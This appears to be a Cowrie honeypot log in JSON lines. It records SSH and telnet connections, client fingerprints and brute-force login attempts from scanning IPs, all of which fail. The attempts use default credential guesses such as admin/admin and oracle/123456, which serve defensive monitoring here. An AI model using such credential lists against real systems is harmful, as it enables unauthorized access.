{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:40:54.829878Z","src_ip":"47.254.192.213","session":"6972e0091129","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:40:55.528397Z","src_ip":"47.254.192.213","session":"6972e0091129","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.135695695877075,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:41:01.871238Z","src_ip":"167.94.146.58","session":"2ff9287ef042","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.146.58","src_port":41450,"dst_ip":"10.17.0.5","dst_port":23,"session":"9425d42e1e3c","protocol":"telnet","message":"New connection: 167.94.146.58:41450 (10.17.0.5:23) [session: 9425d42e1e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:41:05.006626Z"}
{"eventid":"cowrie.session.closed","duration":3.000298500061035,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:41:08.006799Z","src_ip":"167.94.146.58","session":"9425d42e1e3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.146.58","src_port":41218,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb0ca54d805d","protocol":"telnet","message":"New connection: 167.94.146.58:41218 (10.17.0.5:23) [session: cb0ca54d805d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:41:11.137328Z"}
{"eventid":"cowrie.session.closed","duration":10.000334739685059,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:41:21.137535Z","src_ip":"167.94.146.58","session":"cb0ca54d805d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.75","src_port":56112,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8963a8fd9b7","protocol":"telnet","message":"New connection: 176.65.148.75:56112 (159.203.135.109:23) [session: a8963a8fd9b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:41:42.990822Z"}
{"eventid":"cowrie.session.closed","duration":30.646817922592163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:42:13.637539Z","src_ip":"176.65.148.75","session":"a8963a8fd9b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.100.64.148","src_port":32521,"dst_ip":"10.17.0.5","dst_port":22,"session":"f811b2b55468","protocol":"ssh","message":"New connection: 78.100.64.148:32521 (10.17.0.5:22) [session: f811b2b55468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:42:22.826765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:42:22.830808Z","src_ip":"78.100.64.148","session":"f811b2b55468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":44906,"dst_ip":"159.203.135.109","dst_port":22,"session":"296b87d19270","protocol":"ssh","message":"New connection: 195.178.110.218:44906 (159.203.135.109:22) [session: 296b87d19270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:42:22.893158Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:42:22.973641Z","src_ip":"195.178.110.218","session":"296b87d19270","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:42:23.092104Z","src_ip":"78.100.64.148","session":"f811b2b55468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sgeadmin","password":"sgeadmin","message":"login attempt [sgeadmin/sgeadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:42:24.171383Z","src_ip":"78.100.64.148","session":"f811b2b55468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:42:25.437941Z","src_ip":"78.100.64.148","session":"f811b2b55468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.101.111","src_port":48826,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ff5211fc364","protocol":"ssh","message":"New connection: 135.181.101.111:48826 (10.17.0.5:22) [session: 4ff5211fc364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:43:00.533623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:43:00.538121Z","src_ip":"135.181.101.111","session":"4ff5211fc364","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:43:00.646489Z","src_ip":"135.181.101.111","session":"4ff5211fc364","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"students","password":"students","message":"login attempt [students/students] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:43:00.865219Z","src_ip":"135.181.101.111","session":"4ff5211fc364","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:43:01.975353Z","src_ip":"135.181.101.111","session":"4ff5211fc364","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":48842,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d877e85c65b","protocol":"ssh","message":"New connection: 45.148.10.121:48842 (10.17.0.5:22) [session: 7d877e85c65b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:43:04.805259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:43:04.809867Z","src_ip":"45.148.10.121","session":"7d877e85c65b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:43:04.889448Z","src_ip":"45.148.10.121","session":"7d877e85c65b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:43:05.128736Z","src_ip":"45.148.10.121","session":"7d877e85c65b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:43:06.210163Z","src_ip":"45.148.10.121","session":"7d877e85c65b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":51806,"dst_ip":"159.203.135.109","dst_port":22,"session":"e51177c56927","protocol":"ssh","message":"New connection: 195.178.110.218:51806 (159.203.135.109:22) [session: e51177c56927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:45:10.073405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:45:10.078006Z","src_ip":"195.178.110.218","session":"e51177c56927","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:45:10.157863Z","src_ip":"195.178.110.218","session":"e51177c56927","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:45:10.409306Z","src_ip":"195.178.110.218","session":"e51177c56927","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:45:11.490797Z","src_ip":"195.178.110.218","session":"e51177c56927","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.63.214","src_port":44268,"dst_ip":"159.203.135.109","dst_port":22,"session":"482dc5e9f2e9","protocol":"ssh","message":"New connection: 172.105.63.214:44268 (159.203.135.109:22) [session: 482dc5e9f2e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:45:19.627000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:45:19.631237Z","src_ip":"172.105.63.214","session":"482dc5e9f2e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:45:19.842816Z","src_ip":"172.105.63.214","session":"482dc5e9f2e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"consultant","password":"Password1","message":"login attempt [consultant/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:45:20.268010Z","src_ip":"172.105.63.214","session":"482dc5e9f2e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:45:21.480819Z","src_ip":"172.105.63.214","session":"482dc5e9f2e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.187.200.190","src_port":46620,"dst_ip":"159.203.135.109","dst_port":22,"session":"5081bce0ad4c","protocol":"ssh","message":"New connection: 172.187.200.190:46620 (159.203.135.109:22) [session: 5081bce0ad4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:46:45.710701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:46:45.713932Z","src_ip":"172.187.200.190","session":"5081bce0ad4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:46:45.799296Z","src_ip":"172.187.200.190","session":"5081bce0ad4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"123456","message":"login attempt [oracle/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:46:45.973424Z","src_ip":"172.187.200.190","session":"5081bce0ad4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:46:47.060617Z","src_ip":"172.187.200.190","session":"5081bce0ad4c","protocol":"ssh"}
